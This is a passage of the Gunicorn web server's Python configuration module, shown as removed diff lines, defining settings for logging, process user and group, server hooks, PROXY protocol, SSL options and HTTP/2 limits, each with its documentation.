= ["-p", "--pid"] - meta = "FILE" - validator = validate_string - default = None - desc = """\ - A filename to use for the PID file. - - If not set, no PID file will be written. - """ - - -class WorkerTmpDir(Setting): - name = "worker_tmp_dir" - section = "Server Mechanics" - cli = ["--worker-tmp-dir"] - meta = "DIR" - validator = validate_string - default = None - desc = """\ - A directory to use for the worker heartbeat temporary file. - - If not set, the default temporary directory will be used. - - .. note:: - The current heartbeat system involves calling ``os.fchmod`` on - temporary file handlers and may block a worker for arbitrary time - if the directory is on a disk-backed filesystem. - - See :ref:`blocking-os-fchmod` for more detailed information - and a solution for avoiding this problem. - """ - - -class User(Setting): - name = "user" - section = "Server Mechanics" - cli = ["-u", "--user"] - meta = "USER" - validator = validate_user - default = os.geteuid() - default_doc = "``os.geteuid()``" - desc = """\ - Switch worker processes to run as this user. - - A valid user id (as an integer) or the name of a user that can be - retrieved with a call to ``pwd.getpwnam(value)`` or ``None`` to not - change the worker process user. - """ - - -class Group(Setting): - name = "group" - section = "Server Mechanics" - cli = ["-g", "--group"] - meta = "GROUP" - validator = validate_group - default = os.getegid() - default_doc = "``os.getegid()``" - desc = """\ - Switch worker process to run as this group. - - A valid group id (as an integer) or the name of a user that can be - retrieved with a call to ``grp.getgrnam(value)`` or ``None`` to not - change the worker processes group. - """ - - -class Umask(Setting): - name = "umask" - section = "Server Mechanics" - cli = ["-m", "--umask"] - meta = "INT" - validator = validate_pos_int - type = auto_int - default = 0 - desc = """\ - A bit mask for the file mode on files written by Gunicorn. - - Note that this affects unix socket permissions. - - A valid value for the ``os.umask(mode)`` call or a string compatible - with ``int(value, 0)`` (``0`` means Python guesses the base, so values - like ``0``, ``0xFF``, ``0022`` are valid for decimal, hex, and octal - representations) - """ - - -class Initgroups(Setting): - name = "initgroups" - section = "Server Mechanics" - cli = ["--initgroups"] - validator = validate_bool - action = 'store_true' - default = False - - desc = """\ - If true, set the worker process's group access list with all of the - groups of which the specified username is a member, plus the specified - group id. - - .. versionadded:: 19.7 - """ - - -class TmpUploadDir(Setting): - name = "tmp_upload_dir" - section = "Server Mechanics" - meta = "DIR" - validator = validate_string - default = None - desc = """\ - Directory to store temporary request data as they are read. - - This may disappear in the near future. - - This path should be writable by the process permissions set for Gunicorn - workers. If not specified, Gunicorn will choose a system generated - temporary directory. - """ - - -class SecureSchemeHeader(Setting): - name = "secure_scheme_headers" - section = "Server Mechanics" - validator = validate_dict - default = { - "X-FORWARDED-PROTOCOL": "ssl", - "X-FORWARDED-PROTO": "https", - "X-FORWARDED-SSL": "on" - } - desc = """\ - - A dictionary containing headers and values that the front-end proxy - uses to indicate HTTPS requests. If the source IP is permitted by - :ref:`forwarded-allow-ips` (below), *and* at least one request header matches - a key-value pair listed in this dictionary, then Gunicorn will set - ``wsgi.url_scheme`` to ``https``, so your application can tell that the - request is secure. - - If the other headers listed in this dictionary are not present in the request, they will be ignored, - but if the other headers are present and do not match the provided values, then - the request will fail to parse. See the note below for more detailed examples of this behaviour. - - The dictionary should map upper-case header names to exact string - values. The value comparisons are case-sensitive, unlike the header - names, so make sure they're exactly what your front-end proxy sends - when handling HTTPS requests. - - It is important that your front-end proxy configuration ensures that - the headers defined here can not be passed directly from the client. - """ - - -class ForwardedAllowIPS(Setting): - name = "forwarded_allow_ips" - section = "Server Mechanics" - cli = ["--forwarded-allow-ips"] - meta = "STRING" - validator = validate_string_to_addr_list - default = os.environ.get("FORWARDED_ALLOW_IPS", "127.0.0.1,::1") - desc = """\ - Front-end's IP addresses or networks from which allowed to handle - set secure headers. (comma separated). - - Supports both individual IP addresses (e.g., ``192.168.1.1``) and - CIDR networks (e.g., ``192.168.0.0/16``). - - Set to ``*`` to disable checking of front-end IPs. This is useful for setups - where you don't know in advance the IP address of front-end, but - instead have ensured via other means that only your - authorized front-ends can access Gunicorn. - - By default, the value of the ``FORWARDED_ALLOW_IPS`` environment - variable. If it is not defined, the default is ``"127.0.0.1,::1"``. - - .. note:: - - This option does not affect UNIX socket connections. Connections not associated with - an IP address are treated as allowed, unconditionally. - - .. note:: - - The interplay between the request headers, the value of ``forwarded_allow_ips``, and the value of - ``secure_scheme_headers`` is complex. Various scenarios are documented below to further elaborate. - In each case, we have a request from the remote address 134.213.44.18, and the default value of - ``secure_scheme_headers``: - - ```python - secure_scheme_headers = { - 'X-FORWARDED-PROTOCOL': 'ssl', - 'X-FORWARDED-PROTO': 'https', - 'X-FORWARDED-SSL': 'on' - } - ``` - - +---------------------+----------------------------+-----------------------------+-------------------------+ - | forwarded-allow-ips | Secure Request Headers | Result | Explanation | - +=====================+============================+=============================+=========================+ - | `"127.0.0.1"` | `X-Forwarded-Proto: https` | `wsgi.url_scheme = "http"` | IP address was not | - | | | | allowed | - +---------------------+----------------------------+-----------------------------+-------------------------+ - | | | | IP address allowed, but | - | `"*"` | `` | `wsgi.url_scheme = "http"` | no secure headers | - | | | | provided | - +---------------------+----------------------------+-----------------------------+-------------------------+ - | `"*"` | `X-Forwarded-Proto: https` | `wsgi.url_scheme = "https"` | IP address allowed, one | - | | | | request header matched | - +---------------------+----------------------------+-----------------------------+-------------------------+ - | | | | IP address allowed, but | - | `"134.213.44.18"` | `X-Forwarded-Ssl: on` | `InvalidSchemeHeaders()` | the two secure headers | - | | `X-Forwarded-Proto: http` | raised | disagreed on if HTTPS | - | | | | was used | - +---------------------+----------------------------+-----------------------------+-------------------------+ - - - """ - - -class AccessLog(Setting): - name = "accesslog" - section = "Logging" - cli = ["--access-logfile"] - meta = "FILE" - validator = validate_string - default = None - desc = """\ - The Access log file to write to. - - ``'-'`` means log to stdout. - """ - - -class DisableRedirectAccessToSyslog(Setting): - name = "disable_redirect_access_to_syslog" - section = "Logging" - cli = ["--disable-redirect-access-to-syslog"] - validator = validate_bool - action = 'store_true' - default = False - desc = """\ - Disable redirect access logs to syslog. - - .. versionadded:: 19.8 - """ - - -class AccessLogFormat(Setting): - name = "access_log_format" - section = "Logging" - cli = ["--access-logformat"] - meta = "STRING" - validator = validate_string - default = '%(h)s %(l)s %(u)s %(t)s "%(r)s" %(s)s %(b)s "%(f)s" "%(a)s"' - desc = """\ - The access log format. - - =========== =========== - Identifier Description - =========== =========== - h remote address - l ``'-'`` - u user name (if HTTP Basic auth used) - t date of the request - r status line (e.g. ``GET / HTTP/1.1``) - m request method - U URL path without query string - q query string - H protocol - s status - B response length - b response length or ``'-'`` (CLF format) - f referrer (note: header is ``referer``) - a user agent - T request time in seconds - M request time in milliseconds - D request time in microseconds - L request time in decimal seconds - p process ID - {header}i request header - {header}o response header - {variable}e environment variable - =========== =========== - - Use lowercase for header and environment variable names, and put - ``{...}x`` names inside ``%(...)s``. For example:: - - %({x-forwarded-for}i)s - """ - - -class ErrorLog(Setting): - name = "errorlog" - section = "Logging" - cli = ["--error-logfile", "--log-file"] - meta = "FILE" - validator = validate_string - default = '-' - desc = """\ - The Error log file to write to. - - Using ``'-'`` for FILE makes gunicorn log to stderr. - - .. versionchanged:: 19.2 - Log to stderr by default. - - """ - - -class Loglevel(Setting): - name = "loglevel" - section = "Logging" - cli = ["--log-level"] - meta = "LEVEL" - validator = validate_string - default = "info" - desc = """\ - The granularity of Error log outputs. - - Valid level names are: - - * ``'debug'`` - * ``'info'`` - * ``'warning'`` - * ``'error'`` - * ``'critical'`` - """ - - -class CaptureOutput(Setting): - name = "capture_output" - section = "Logging" - cli = ["--capture-output"] - validator = validate_bool - action = 'store_true' - default = False - desc = """\ - Redirect stdout/stderr to specified file in :ref:`errorlog`. - - .. versionadded:: 19.6 - """ - - -class LoggerClass(Setting): - name = "logger_class" - section = "Logging" - cli = ["--logger-class"] - meta = "STRING" - validator = validate_class - default = "gunicorn.glogging.Logger" - desc = """\ - The logger you want to use to log events in Gunicorn. - - The default class (``gunicorn.glogging.Logger``) handles most - normal usages in logging. It provides error and access logging. - - You can provide your own logger by giving Gunicorn a Python path to a - class that quacks like ``gunicorn.glogging.Logger``. - """ - - -class LogConfig(Setting): - name = "logconfig" - section = "Logging" - cli = ["--log-config"] - meta = "FILE" - validator = validate_string - default = None - desc = """\ - The log config file to use. - Gunicorn uses the standard Python logging module's Configuration - file format. - """ - - -class LogConfigDict(Setting): - name = "logconfig_dict" - section = "Logging" - validator = validate_dict - default = {} - desc = """\ - The log config dictionary to use, using the standard Python - logging module's dictionary configuration format. This option - takes precedence over the :ref:`logconfig` and :ref:`logconfig-json` options, - which uses the older file configuration format and JSON - respectively. - - Format: https://docs.python.org/3/library/logging.config.html#logging.config.dictConfig - - For more context you can look at the default configuration dictionary for logging, - which can be found at ``gunicorn.glogging.CONFIG_DEFAULTS``. - - .. versionadded:: 19.8 - """ - - -class LogConfigJson(Setting): - name = "logconfig_json" - section = "Logging" - cli = ["--log-config-json"] - meta = "FILE" - validator = validate_string - default = None - desc = """\ - The log config to read config from a JSON file - - Format: https://docs.python.org/3/library/logging.config.html#logging.config.jsonConfig - - .. versionadded:: 20.0 - """ - - -class SyslogTo(Setting): - name = "syslog_addr" - section = "Logging" - cli = ["--log-syslog-to"] - meta = "SYSLOG_ADDR" - validator = validate_string - - if PLATFORM == "darwin": - default = "unix:///var/run/syslog" - elif PLATFORM in ('freebsd', 'dragonfly', ): - default = "unix:///var/run/log" - elif PLATFORM == "openbsd": - default = "unix:///dev/log" - else: - default = "udp://localhost:514" - - default_doc = """\ - Platform-specific: - - * macOS: ``'unix:///var/run/syslog'`` - * FreeBSD/DragonFly: ``'unix:///var/run/log'`` - * OpenBSD: ``'unix:///dev/log'`` - * Linux/other: ``'udp://localhost:514'`` - """ - - desc = """\ - Address to send syslog messages. - - Address is a string of the form: - - * ``unix://PATH#TYPE`` : for unix domain socket. ``TYPE`` can be ``stream`` - for the stream driver or ``dgram`` for the dgram driver. - ``stream`` is the default. - * ``udp://HOST:PORT`` : for UDP sockets - * ``tcp://HOST:PORT`` : for TCP sockets - - """ - - -class Syslog(Setting): - name = "syslog" - section = "Logging" - cli = ["--log-syslog"] - validator = validate_bool - action = 'store_true' - default = False - desc = """\ - Send *Gunicorn* logs to syslog. - - .. versionchanged:: 19.8 - You can now disable sending access logs by using the - :ref:`disable-redirect-access-to-syslog` setting. - """ - - -class SyslogPrefix(Setting): - name = "syslog_prefix" - section = "Logging" - cli = ["--log-syslog-prefix"] - meta = "SYSLOG_PREFIX" - validator = validate_string - default = None - desc = """\ - Makes Gunicorn use the parameter as program-name in the syslog entries. - - All entries will be prefixed by ``gunicorn.``. By default the - program name is the name of the process. - """ - - -class SyslogFacility(Setting): - name = "syslog_facility" - section = "Logging" - cli = ["--log-syslog-facility"] - meta = "SYSLOG_FACILITY" - validator = validate_string - default = "user" - desc = """\ - Syslog facility name - """ - - -class EnableStdioInheritance(Setting): - name = "enable_stdio_inheritance" - section = "Logging" - cli = ["-R", "--enable-stdio-inheritance"] - validator = validate_bool - default = False - action = "store_true" - desc = """\ - Enable stdio inheritance. - - Enable inheritance for stdio file descriptors in daemon mode. - - Note: To disable the Python stdout buffering, you can to set the user - environment variable ``PYTHONUNBUFFERED`` . - """ - - -# statsD monitoring -class StatsdHost(Setting): - name = "statsd_host" - section = "Logging" - cli = ["--statsd-host"] - meta = "STATSD_ADDR" - default = None - validator = validate_statsd_address - desc = """\ - The address of the StatsD server to log to. - - Address is a string of the form: - - * ``unix://PATH`` : for a unix domain socket. - * ``HOST:PORT`` : for a network address - - .. versionadded:: 19.1 - """ - - -# Datadog Statsd (dogstatsd) tags. https://docs.datadoghq.com/developers/dogstatsd/ -class DogstatsdTags(Setting): - name = "dogstatsd_tags" - section = "Logging" - cli = ["--dogstatsd-tags"] - meta = "DOGSTATSD_TAGS" - default = "" - validator = validate_string - desc = """\ - A comma-delimited list of datadog statsd (dogstatsd) tags to append to - statsd metrics. e.g. ``'tag1:value1,tag2:value2'`` - - .. versionadded:: 20 - """ - - -class StatsdPrefix(Setting): - name = "statsd_prefix" - section = "Logging" - cli = ["--statsd-prefix"] - meta = "STATSD_PREFIX" - default = "" - validator = validate_string - desc = """\ - Prefix to use when emitting statsd metrics (a trailing ``.`` is added, - if not provided). - - .. versionadded:: 19.2 - """ - - -class BacklogMetric(Setting): - name = "enable_backlog_metric" - section = "Logging" - cli = ["--enable-backlog-metric"] - validator = validate_bool - default = False - action = "store_true" - desc = """\ - Enable socket backlog metric (only supported on Linux). - - When enabled, gunicorn will emit a ``gunicorn.backlog`` histogram metric - showing the number of connections waiting in the socket backlog. - """ - - -class Procname(Setting): - name = "proc_name" - section = "Process Naming" - cli = ["-n", "--name"] - meta = "STRING" - validator = validate_string - default = None - desc = """\ - A base to use with setproctitle for process naming. - - This affects things like ``ps`` and ``top``. If you're going to be - running more than one instance of Gunicorn you'll probably want to set a - name to tell them apart. This requires that you install the setproctitle - module. - - If not set, the *default_proc_name* setting will be used. - """ - - -class DefaultProcName(Setting): - name = "default_proc_name" - section = "Process Naming" - validator = validate_string - default = "gunicorn" - desc = """\ - Internal setting that is adjusted for each type of application. - """ - - -class PythonPath(Setting): - name = "pythonpath" - section = "Server Mechanics" - cli = ["--pythonpath"] - meta = "STRING" - validator = validate_string - default = None - desc = """\ - A comma-separated list of directories to add to the Python path. - - e.g. - ``'/home/djangoprojects/myproject,/home/python/mylibrary'``. - """ - - -class Paste(Setting): - name = "paste" - section = "Server Mechanics" - cli = ["--paste", "--paster"] - meta = "STRING" - validator = validate_string - default = None - desc = """\ - Load a PasteDeploy config file. The argument may contain a ``#`` - symbol followed by the name of an app section from the config file, - e.g. ``production.ini#admin``. - - At this time, using alternate server blocks is not supported. Use the - command line arguments to control server configuration instead. - """ - - -class OnStarting(Setting): - name = "on_starting" - section = "Server Hooks" - validator = validate_callable(1) - type = callable - - def on_starting(server): - pass - default = staticmethod(on_starting) - desc = """\ - Called just before the master process is initialized. - - The callable needs to accept a single instance variable for the Arbiter. - """ - - -class OnReload(Setting): - name = "on_reload" - section = "Server Hooks" - validator = validate_callable(1) - type = callable - - def on_reload(server): - pass - default = staticmethod(on_reload) - desc = """\ - Called to recycle workers during a reload via SIGHUP. - - The callable needs to accept a single instance variable for the Arbiter. - """ - - -class WhenReady(Setting): - name = "when_ready" - section = "Server Hooks" - validator = validate_callable(1) - type = callable - - def when_ready(server): - pass - default = staticmethod(when_ready) - desc = """\ - Called just after the server is started. - - The callable needs to accept a single instance variable for the Arbiter. - """ - - -class Prefork(Setting): - name = "pre_fork" - section = "Server Hooks" - validator = validate_callable(2) - type = callable - - def pre_fork(server, worker): - pass - default = staticmethod(pre_fork) - desc = """\ - Called just before a worker is forked. - - The callable needs to accept two instance variables for the Arbiter and - new Worker. - """ - - -class Postfork(Setting): - name = "post_fork" - section = "Server Hooks" - validator = validate_callable(2) - type = callable - - def post_fork(server, worker): - pass - default = staticmethod(post_fork) - desc = """\ - Called just after a worker has been forked. - - The callable needs to accept two instance variables for the Arbiter and - new Worker. - """ - - -class PostWorkerInit(Setting): - name = "post_worker_init" - section = "Server Hooks" - validator = validate_callable(1) - type = callable - - def post_worker_init(worker): - pass - - default = staticmethod(post_worker_init) - desc = """\ - Called just after a worker has initialized the application. - - The callable needs to accept one instance variable for the initialized - Worker. - """ - - -class WorkerInt(Setting): - name = "worker_int" - section = "Server Hooks" - validator = validate_callable(1) - type = callable - - def worker_int(worker): - pass - - default = staticmethod(worker_int) - desc = """\ - Called just after a worker exited on SIGINT or SIGQUIT. - - The callable needs to accept one instance variable for the initialized - Worker. - """ - - -class WorkerAbort(Setting): - name = "worker_abort" - section = "Server Hooks" - validator = validate_callable(1) - type = callable - - def worker_abort(worker): - pass - - default = staticmethod(worker_abort) - desc = """\ - Called when a worker received the SIGABRT signal. - - This call generally happens on timeout. - - The callable needs to accept one instance variable for the initialized - Worker. - """ - - -class PreExec(Setting): - name = "pre_exec" - section = "Server Hooks" - validator = validate_callable(1) - type = callable - - def pre_exec(server): - pass - default = staticmethod(pre_exec) - desc = """\ - Called just before a new master process is forked. - - The callable needs to accept a single instance variable for the Arbiter. - """ - - -class PreRequest(Setting): - name = "pre_request" - section = "Server Hooks" - validator = validate_callable(2) - type = callable - - def pre_request(worker, req): - worker.log.debug("%s %s", req.method, req.path) - default = staticmethod(pre_request) - desc = """\ - Called just before a worker processes the request. - - The callable needs to accept two instance variables for the Worker and - the Request. - """ - - -class PostRequest(Setting): - name = "post_request" - section = "Server Hooks" - validator = validate_post_request - type = callable - - def post_request(worker, req, environ, resp): - pass - default = staticmethod(post_request) - desc = """\ - Called after a worker processes the request. - - The callable needs to accept two instance variables for the Worker and - the Request. If a third parameter is defined it will be passed the - environment. If a fourth parameter is defined it will be passed the Response. - """ - - -class ChildExit(Setting): - name = "child_exit" - section = "Server Hooks" - validator = validate_callable(2) - type = callable - - def child_exit(server, worker): - pass - default = staticmethod(child_exit) - desc = """\ - Called just after a worker has been exited, in the master process. - - The callable needs to accept two instance variables for the Arbiter and - the just-exited Worker. - - .. versionadded:: 19.7 - """ - - -class WorkerExit(Setting): - name = "worker_exit" - section = "Server Hooks" - validator = validate_callable(2) - type = callable - - def worker_exit(server, worker): - pass - default = staticmethod(worker_exit) - desc = """\ - Called just after a worker has been exited, in the worker process. - - The callable needs to accept two instance variables for the Arbiter and - the just-exited Worker. - """ - - -class NumWorkersChanged(Setting): - name = "nworkers_changed" - section = "Server Hooks" - validator = validate_callable(3) - type = callable - - def nworkers_changed(server, new_value, old_value): - pass - default = staticmethod(nworkers_changed) - desc = """\ - Called just after *num_workers* has been changed. - - The callable needs to accept an instance variable of the Arbiter and - two integers of number of workers after and before change. - - If the number of workers is set for the first time, *old_value* would - be ``None``. - """ - - -class OnExit(Setting): - name = "on_exit" - section = "Server Hooks" - validator = validate_callable(1) - - def on_exit(server): - pass - - default = staticmethod(on_exit) - desc = """\ - Called just before exiting Gunicorn. - - The callable needs to accept a single instance variable for the Arbiter. - """ - - -class NewSSLContext(Setting): - name = "ssl_context" - section = "Server Hooks" - validator = validate_callable(2) - type = callable - - def ssl_context(config, default_ssl_context_factory): - return default_ssl_context_factory() - - default = staticmethod(ssl_context) - desc = """\ - Called when SSLContext is needed. - - Allows customizing SSL context. - - The callable needs to accept an instance variable for the Config and - a factory function that returns default SSLContext which is initialized - with certificates, private key, cert_reqs, and ciphers according to - config and can be further customized by the callable. - The callable needs to return SSLContext object. - - Following example shows a configuration file that sets the minimum TLS version to 1.3: - - .. code-block:: python - - def ssl_context(conf, default_ssl_context_factory): - import ssl - context = default_ssl_context_factory() - context.minimum_version = ssl.TLSVersion.TLSv1_3 - return context - - .. versionadded:: 21.0 - """ - - -def validate_proxy_protocol(val): - """Validate proxy_protocol setting. - - Accepts: off, false, v1, v2, auto, true - Returns normalized value: off, v1, v2, or auto - """ - if val is None: - return "off" - if isinstance(val, bool): - return "auto" if val else "off" - if not isinstance(val, str): - raise TypeError("proxy_protocol must be string or bool") - - val = val.lower().strip() - mapping = { - "false": "off", "off": "off", "0": "off", "none": "off", - "true": "auto", "auto": "auto", "1": "auto", - "v1": "v1", "v2": "v2", - } - if val not in mapping: - raise ValueError("proxy_protocol must be: off, v1, v2, or auto") - return mapping[val] - - -class ProxyProtocol(Setting): - name = "proxy_protocol" - section = "Server Mechanics" - cli = ["--proxy-protocol"] - meta = "MODE" - validator = validate_proxy_protocol - default = "off" - nargs = "?" - const = "auto" - desc = """\ - Enable PROXY protocol support. - - Allow using HTTP and PROXY protocol together. It may be useful for work - with stunnel as HTTPS frontend and Gunicorn as HTTP server, or with - HAProxy. - - Accepted values: - - * ``off`` - Disabled (default) - * ``v1`` - PROXY protocol v1 only (text format) - * ``v2`` - PROXY protocol v2 only (binary format) - * ``auto`` - Auto-detect v1 or v2 - - Using ``--proxy-protocol`` without a value is equivalent to ``auto``. - - PROXY protocol v1: http://haproxy.1wt.eu/download/1.5/doc/proxy-protocol.txt - PROXY protocol v2: https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt - - Example for stunnel config:: - - [https] - protocol = proxy - accept = 443 - connect = 80 - cert = /etc/ssl/certs/stunnel.pem - key = /etc/ssl/certs/stunnel.key - - .. versionchanged:: 24.1.0 - Extended to support version selection (v1, v2, auto). - """ - - -class ProxyAllowFrom(Setting): - name = "proxy_allow_ips" - section = "Server Mechanics" - cli = ["--proxy-allow-from"] - validator = validate_string_to_addr_list - default = "127.0.0.1,::1" - desc = """\ - Front-end's IP addresses or networks from which allowed accept - proxy requests (comma separated). - - Supports both individual IP addresses (e.g., ``192.168.1.1``) and - CIDR networks (e.g., ``192.168.0.0/16``). - - Set to ``*`` to disable checking of front-end IPs. This is useful for setups - where you don't know in advance the IP address of front-end, but - instead have ensured via other means that only your - authorized front-ends can access Gunicorn. - - .. note:: - - This option does not affect UNIX socket connections. Connections not associated with - an IP address are treated as allowed, unconditionally. - """ - - -class Protocol(Setting): - name = "protocol" - section = "Server Mechanics" - cli = ["--protocol"] - meta = "STRING" - validator = validate_string - default = "http" - desc = """\ - The protocol for incoming connections. - - * ``http`` - Standard HTTP/1.x (default) - * ``uwsgi`` - uWSGI binary protocol (for nginx uwsgi_pass) - - When using the uWSGI protocol, Gunicorn can receive requests from - nginx using the uwsgi_pass directive:: - - upstream gunicorn { - server 127.0.0.1:8000; - } - location / { - uwsgi_pass gunicorn; - include uwsgi_params; - } - """ - - -class UWSGIAllowFrom(Setting): - name = "uwsgi_allow_ips" - section = "Server Mechanics" - cli = ["--uwsgi-allow-from"] - validator = validate_string_to_addr_list - default = "127.0.0.1,::1" - desc = """\ - IPs allowed to send uWSGI protocol requests (comma separated). - - Set to ``*`` to allow all IPs. This is useful for setups where you - don't know in advance the IP address of front-end, but instead have - ensured via other means that only your authorized front-ends can - access Gunicorn. - - .. note:: - - This option does not affect UNIX socket connections. Connections not associated with - an IP address are treated as allowed, unconditionally. - """ - - -class KeyFile(Setting): - name = "keyfile" - section = "SSL" - cli = ["--keyfile"] - meta = "FILE" - validator = validate_string - default = None - desc = """\ - SSL key file - """ - - -class CertFile(Setting): - name = "certfile" - section = "SSL" - cli = ["--certfile"] - meta = "FILE" - validator = validate_string - default = None - desc = """\ - SSL certificate file - """ - - -class SSLVersion(Setting): - name = "ssl_version" - section = "SSL" - cli = ["--ssl-version"] - validator = validate_ssl_version - - if hasattr(ssl, "PROTOCOL_TLS"): - default = ssl.PROTOCOL_TLS - else: - default = ssl.PROTOCOL_SSLv23 - - default = ssl.PROTOCOL_SSLv23 - desc = """\ - SSL version to use (see stdlib ssl module's). - - .. deprecated:: 21.0 - The option is deprecated and it is currently ignored. Use :ref:`ssl-context` instead. - - ============= ============ - --ssl-version Description - ============= ============ - SSLv3 SSLv3 is not-secure and is strongly discouraged. - SSLv23 Alias for TLS. Deprecated in Python 3.6, use TLS. - TLS Negotiate highest possible version between client/server. - Can yield SSL. (Python 3.6+) - TLSv1 TLS 1.0 - TLSv1_1 TLS 1.1 (Python 3.4+) - TLSv1_2 TLS 1.2 (Python 3.4+) - TLS_SERVER Auto-negotiate the highest protocol version like TLS, - but only support server-side SSLSocket connections. - (Python 3.6+) - ============= ============ - - .. versionchanged:: 19.7 - The default value has been changed from ``ssl.PROTOCOL_TLSv1`` to - ``ssl.PROTOCOL_SSLv23``. - .. versionchanged:: 20.0 - This setting now accepts string names based on ``ssl.PROTOCOL_`` - constants. - .. versionchanged:: 20.0.1 - The default value has been changed from ``ssl.PROTOCOL_SSLv23`` to - ``ssl.PROTOCOL_TLS`` when Python >= 3.6 . - """ - - -class CertReqs(Setting): - name = "cert_reqs" - section = "SSL" - cli = ["--cert-reqs"] - validator = validate_pos_int - default = ssl.CERT_NONE - desc = """\ - Whether client certificate is required (see stdlib ssl module's) - - =========== =========================== - --cert-reqs Description - =========== =========================== - `0` no client verification - `1` ssl.CERT_OPTIONAL - `2` ssl.CERT_REQUIRED - =========== =========================== - """ - - -class CACerts(Setting): - name = "ca_certs" - section = "SSL" - cli = ["--ca-certs"] - meta = "FILE" - validator = validate_string - default = None - desc = """\ - CA certificates file - """ - - -class SuppressRaggedEOFs(Setting): - name = "suppress_ragged_eofs" - section = "SSL" - cli = ["--suppress-ragged-eofs"] - action = "store_true" - default = True - validator = validate_bool - desc = """\ - Suppress ragged EOFs (see stdlib ssl module's) - """ - - -class DoHandshakeOnConnect(Setting): - name = "do_handshake_on_connect" - section = "SSL" - cli = ["--do-handshake-on-connect"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Whether to perform SSL handshake on socket connect (see stdlib ssl module's) - """ - - -class Ciphers(Setting): - name = "ciphers" - section = "SSL" - cli = ["--ciphers"] - validator = validate_string - default = None - desc = """\ - SSL Cipher suite to use, in the format of an OpenSSL cipher list. - - By default we use the default cipher list from Python's ``ssl`` module, - which contains ciphers considered strong at the time of each Python - release. - - As a recommended alternative, the Open Web App Security Project (OWASP) - offers `a vetted set of strong cipher strings rated A+ to C- - `_. - OWASP provides details on user-agent compatibility at each security level. - - See the `OpenSSL Cipher List Format Documentation - `_ - for details on the format of an OpenSSL cipher list. - """ - - -# HTTP/2 Protocol Settings - -# Valid protocol identifiers -VALID_HTTP_PROTOCOLS = frozenset(["h1", "h2", "h3"]) -# Map protocol identifiers to ALPN protocol names -ALPN_PROTOCOL_MAP = { - "h1": "http/1.1", - "h2": "h2", - "h3": "h3", # Future: HTTP/3 over QUIC -} - - -def validate_http_protocols(val): - """Validate http_protocols setting. - - Accepts comma-separated list of protocol identifiers. - Valid values: h1 (HTTP/1.1), h2 (HTTP/2), h3 (HTTP/3 - future) - Order indicates preference (first = most preferred). - """ - if val is None: - return ["h1"] - if not isinstance(val, str): - raise TypeError("http_protocols must be a string") - - val = val.strip() - if not val: - return ["h1"] - - protocols = [p.strip().lower() for p in val.split(",") if p.strip()] - if not protocols: - return ["h1"] - - # Validate each protocol - for proto in protocols: - if proto not in VALID_HTTP_PROTOCOLS: - raise ValueError( - f"Invalid protocol '{proto}'. " - f"Valid protocols: {', '.join(sorted(VALID_HTTP_PROTOCOLS))}" - ) - - # Check for duplicates - if len(protocols) != len(set(protocols)): - raise ValueError("Duplicate protocols specified") - - return protocols - - -class HTTPProtocols(Setting): - name = "http_protocols" - section = "HTTP/2" - cli = ["--http-protocols"] - meta = "STRING" - validator = validate_http_protocols - default = "h1" - desc = """\ - HTTP protocol versions to support (comma-separated, order = preference). - - Valid protocols: - - * ``h1`` - HTTP/1.1 (default) - * ``h2`` - HTTP/2 (requires TLS with ALPN) - * ``h3`` - HTTP/3 (future, not yet implemented) - - Examples:: - - # HTTP/1.1 only (default, backward compatible) - --http-protocols=h1 - - # Prefer HTTP/2, fallback to HTTP/1.1 - --http-protocols=h2,h1 - - # HTTP/2 only (reject HTTP/1.1 clients) - --http-protocols=h2 - - HTTP/2 requires: - - * TLS (--certfile and --keyfile) - * The h2 library: ``pip install gunicorn[http2]`` - * ALPN-capable TLS client - - .. note:: - HTTP/2 cleartext (h2c) is not supported due to security concerns - and lack of browser support. - - .. versionadded:: 25.0.0 - """ - - -class HTTP2MaxConcurrentStreams(Setting): - name = "http2_max_concurrent_streams" - section = "HTTP/2" - cli = ["--http2-max-concurrent-streams"] - meta = "INT" - validator = validate_pos_int - type = int - default = 100 - desc = """\ - Maximum number of concurrent HTTP/2 streams per connection. - - This limits how many requests can be processed simultaneously on a - single HTTP/2 connection. Higher values allow more parallelism but - use more memory. - - Default is 100, which matches common server configurations. - The HTTP/2 specification allows up to 2^31-1. - - .. versionadded:: 25.0.0 - """ - - -class HTTP2InitialWindowSize(Setting): - name = "http2_initial_window_size" - section = "HTTP/2" - cli = ["--http2-initial-window-size"] - meta = "INT" - validator = validate_pos_int - type = int - default = 65535 - desc = """\ - Initial HTTP/2 flow control window size in bytes. - - This controls how much data can be in-flight before the receiver - sends WINDOW_UPDATE frames. Larger values can improve throughput - for large transfers but use more memory. - - Default is 65535 (64KB - 1), the HTTP/2 specification default. - Maximum is 2^31-1 (2147483647). - - .. versionadded:: 25.0.0 - """ - - -class HTTP2MaxFrameSize(Setting): - name = "http2_max_frame_size" - section = "HTTP/2" - cli = ["--http2-max-frame-size"] - meta = "INT" - validator = validate_http2_frame_size - type = int - default = 16384 - desc = """\ - Maximum HTTP/2 frame payload size in bytes. - - This is the largest frame payload the server will accept. - Larger frames reduce framing overhead but may increase latency - for small messages. - - Default is 16384 (16KB), the HTTP/2 specification minimum. - Range is 16384 to 16777215 (16MB - 1). - - .. versionadded:: 25.0.0 - """ - - -class HTTP2MaxHeaderListSize(Setting): - name = "http2_max_header_list_size" - section = "HTTP/2" - cli = ["--http2-max-header-list-size"] - meta = "INT" - validator = validate_pos_int - type = int - default = 65536 - desc = """\ - Maximum size of HTTP/2 header list in bytes (HPACK protection). - - This limits the total size of headers after HPACK decompression. - Protects against compression bombs and excessive memory use. - - Default is 65536 (64KB). Set to 0 for unlimited (not recommended). - - .. versionadded:: 25.0.0 - """ - - -class PasteGlobalConf(Setting): - name = "raw_paste_global_conf" - action = "append" - section = "Server Mechanics" - cli = ["--paste-global"] - meta = "CONF" - validator = validate_list_string - default = [] - - desc = """\ - Set a PasteDeploy global config variable in ``key=value`` form. - - The option can be specified multiple times. - - The variables are passed to the PasteDeploy entrypoint. Example:: - - $ gunicorn -b 127.0.0.1:8000 --paste development.ini --paste-global FOO=1 --paste-global BAR=2 - - .. versionadded:: 19.7 - """ - - -class PermitObsoleteFolding(Setting): - name = "permit_obsolete_folding" - section = "Server Mechanics" - cli = ["--permit-obsolete-folding"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Permit requests employing obsolete HTTP line folding mechanism - - The folding mechanism was deprecated by rfc7230 Section 3.2.4 and will not be - employed in HTTP request headers from standards-compliant HTTP clients. - - This option is provided to diagnose backwards-incompatible changes. - Use with care and only if necessary. Temporary; the precise effect of this option may - change in a future version, or it may be removed altogether. - - .. versionadded:: 23.0.0 